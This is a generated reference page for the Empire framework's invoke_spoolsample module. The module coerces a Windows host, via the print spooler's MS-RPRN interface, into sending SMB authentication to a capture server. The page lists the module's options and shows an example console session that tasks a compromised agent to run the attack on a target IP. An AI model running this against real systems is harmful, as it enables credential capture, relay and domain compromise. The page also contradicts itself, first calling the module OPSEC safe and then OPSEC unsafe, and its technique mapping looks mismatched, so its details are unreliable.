Invoke-SpoolSample - Empire Module


This page contains detailed information about how to use the powershell/exploitation/invoke_spoolsample Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Invoke-SpoolSample
Module: powershell/exploitation/invoke_spoolsample
Source code [1]: empire/server/modules/powershell/exploitation/invoke_spoolsample.yaml
Source code [2]: empire/server/data/module_source/exploitation/Invoke-SpoolSample.ps1
MITRE ATT&CK: T1547
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: No

The invoke_spoolsample module runs SpoolSample C# binary through reflection.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the invoke_spoolsample module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the invoke_spoolsample module:

Agent
Agent to run module on.

CaptureServer
Host that receives SMB auth from the target.

Target
Target to send MS-RPRN request.

Invoke_spoolsample Example Usage

Here's an example of how to use the invoke_spoolsample module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/exploitation/invoke_spoolsample

 Author       @tifkin_                                                               
              @kevin                                                                 
 Background   False                                                                  
 Comments     https://github.com/leechristensen/SpoolSample                          
              https://www.ired.team/offensive-security-experiments/active-directory- 
              kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-     
              delegation                                                             
 Description  Runs SpoolSample C# binary through reflection                          
 Language     powershell                                                             
 Name         powershell/exploitation/invoke_spoolsample                             
 NeedsAdmin   False                                                                  
 OpsecSafe    True                                                                   
 Techniques   http://attack.mitre.org/techniques/T1547                               


,Record Options-,-------,----------,----------------------------------,
| Name          | Value | Required | Description                      |
|---------------|-------|----------|----------------------------------|
| Agent         |       | True     | Agent to run module on.          |
|---------------|-------|----------|----------------------------------|
| CaptureServer |       | True     | Host that receives SMB auth from |
|               |       |          | the target.                      |
|---------------|-------|----------|----------------------------------|
| Target        |       | True     | Target to send MS-RPRN request.  |
'---------------'-------'----------'----------------------------------'

(Empire: usemodule/powershell/exploitation/invoke_spoolsample) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/exploitation/invoke_spoolsample) > set CaptureServer value
[*] Set CaptureServer to value
(Empire: usemodule/powershell/exploitation/invoke_spoolsample) > set Target 192.168.100.1
[*] Set Target to 192.168.100.1
(Empire: usemodule/powershell/exploitation/invoke_spoolsample) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Authors

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.